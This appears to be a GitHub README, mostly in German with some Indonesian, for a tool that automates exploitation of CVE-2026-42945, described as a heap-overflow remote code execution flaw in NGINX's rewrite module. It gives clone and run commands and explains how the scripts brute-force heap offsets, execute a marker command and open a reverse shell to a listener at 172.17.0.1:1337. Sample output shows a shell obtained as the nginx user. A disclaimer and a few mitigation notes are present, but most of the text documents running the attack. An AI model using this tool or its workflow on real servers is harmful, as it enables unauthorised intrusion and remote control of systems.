
Automatisiert die Ausnutzung von CVE-2026-42945 in NGINX-Containern: verifiziert verwundbare Ziele, erzwingt Heap-Offsets per Brute-Force, führt Befehle aus und öffnet eine interaktive Reverse-Shell.
PoC-Automatisierungstreiber für die RCE-Ausnutzung des nginx-rift-Containers · Zielverifizierung → Single-Command-Exploit → interaktive Reverse-Shell
Ein einziger Befehl orchestriert den gesamten Exploit-Ablauf — von der Container-Prüfung bis zur Shell.
⚠️ Ethische & rechtliche Warnung Dieses Tool ist nur für legitime und autorisierte Sicherheitstests gedacht — beauftragte Pentests, Lab/CTF oder eigene Assets. Die Nutzung ohne Erlaubnis des Systeminhabers ist eine Straftat (UU ITE, Computer Fraud and Abuse Act usw.). Der Benutzer trägt die volle Verantwortung für die Nutzung.
CVE-2026-42945 ist eine Remote-Code-Execution-Schwachstelle (RCE) in der NGINX-Konfiguration „Rift“ — ein Heap-basierter Pufferüberlauf im Modul ngx_http_rewrite_module, der über einen bestimmten Location-Block (/api/users/...) ausgelöst wird. Die Auswirkung: Angreifer können über den system()-Handler innerhalb des Containers Befehle ausführen.
Dieses Repository enthält 2 Komponenten:
| Datei | Funktion |
|---|---|
poc.py | Exploit-Treiber — Brute-Force des Heap-Offsets, zwei Modi: --cmd (Einzelbefehl) & --shell (Reverse-Shell) |
scan.sh | Automatisierungs-Orchestrator — Zielverifizierung, PoC-Ausführung, Ergebnisverifizierung & interaktive Shell-Sitzung |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
Operator (Host, auf dem das Skript ausgeführt wird):
docker (mit sudo oder Benutzer in der docker-Gruppe)python3 + poc.py (im selben Verzeichnis wie scan.sh)curl, nc (netcat), timeout (coreutils)Ziel (Lab):
nginx-rift läuft (Provisionierung per Docker Compose)19321 ist unter 127.0.0.1 geöffnet172.17.0.1 für den Host-Listener)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh und poc.py müssen sich im selben Verzeichnis befinden.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (Standard)--cmd — schreibt die Markierung hello from depthfirst nach /tmp/pwned in den Container (automatische Wiederholung max. 3×, Timeout 300 s/Versuch).docker exec cat /tmp/pwned muss die Markierung enthalten (Ground-Truth, nicht nur das Lesen der Ausgabe).y für eine interaktive Sitzung.shell./scan.sh shell
Führt poc.py --shell mit einem Listener unter 172.17.0.1:1337 aus. Nach erfolgreichem Brute-Force erhältst du eine interaktive /bin/sh-Eingabeaufforderung als NGINX-Worker-Benutzer im Container.
Hinweis: Die IP
172.17.0.1ist die Host-Adresse auf der Standard-Docker-Bridge. Falls deine Bridge anders ist (docker network inspect bridge), ändere die VariableLISTEN_IPim oberen Teil vonscan.sh.
Alle Parameter sind im Konfigurationsblock oben in scan.sh gebündelt:
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module behebt / die Rift-Konfiguration entfernen.0.0.0.0 exponieren; internes Netzwerk + Reverse-Proxy mit WAF verwenden.--privileged starten./api/users/ (nicht-numerische Muster, lange Payloads), Erkennung von /bin/sh-Spawns aus nginx-Prozessen.CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md # Dokumentasi ini
Nur für legitime Nutzung. Dieses Tool ist vorgesehen für:
Du musst eine schriftliche Genehmigung des Systeminhabers haben, bevor du dieses Tool auf irgendeiner Infrastruktur ausführst.
Das Repository wird „as-is“ ohne jegliche Gewährleistung bereitgestellt. Die Mitwirkenden übernehmen keine Verantwortung für Missbrauch.
Lizenz: MIT
ngx_http_rewrite_module — offizielle Dokumentation| Element | Detail |
|---|
| CVE | CVE-2026-42945 |
| Typ | Remote Code Execution (RCE) |
| Komponente | NGINX (ngx_http_rewrite_module) — „Rift“-Konfiguration |
| Auslöser | Anfrage an den verwundbaren Location-Block (/api/users/{id}) |
| Auswirkung | Beliebige Befehlsausführung als NGINX-Worker-Benutzer im Container |
| Lab-Setup | Container nginx-rift-nginx-1 — Host-Port 19321 |
| Variable | Standard | Funktion |
|---|
DOCKER | sudo docker | Auf docker ändern, wenn der Benutzer bereits Mitglied der Docker-Gruppe ist |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | Filter zur Container-Identifikation |
CONTAINER | nginx-rift-nginx-1 | Name des Zielcontainers |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | Zieladresse |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | Reverse-Shell-Listener |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | Verifizierung der Ausführung |
CMD_TIMEOUT | 300 | Zeitlimit pro Versuch (Sekunden) |
MAX_ATTEMPTS | 3 | Anzahl der Wiederholungen für PoC --cmd |
| Problem | Lösung |
|---|
Container ... läuft nicht | cd <project-dir> && sudo docker compose up -d, dann erneut versuchen |
HTTP 000 / connection refused | Port 19321 ist noch nicht bereit — ein paar Sekunden warten, docker ps prüfen |
Datei 'poc.py' nicht gefunden | scan.sh aus dem Repo-Verzeichnis ausführen (poc.py muss im selben Verzeichnis liegen) |
PoC --cmd schlägt weiterhin fehl (3×) | MAX_ATTEMPTS / CMD_TIMEOUT erhöhen; sicherstellen, dass Kernel & NGINX-Version zum Lab passen |
| Reverse-Shell verbindet nicht | LISTEN_IP passend zur Bridge prüfen (docker network inspect bridge); sicherstellen, dass Port 1337 nicht belegt ist |
Fehler unrecognized arguments | Sicherstellen, dass die poc.py-Version die Flags --listen-ip/--listen-port unterstützt (siehe python3 poc.py -h) |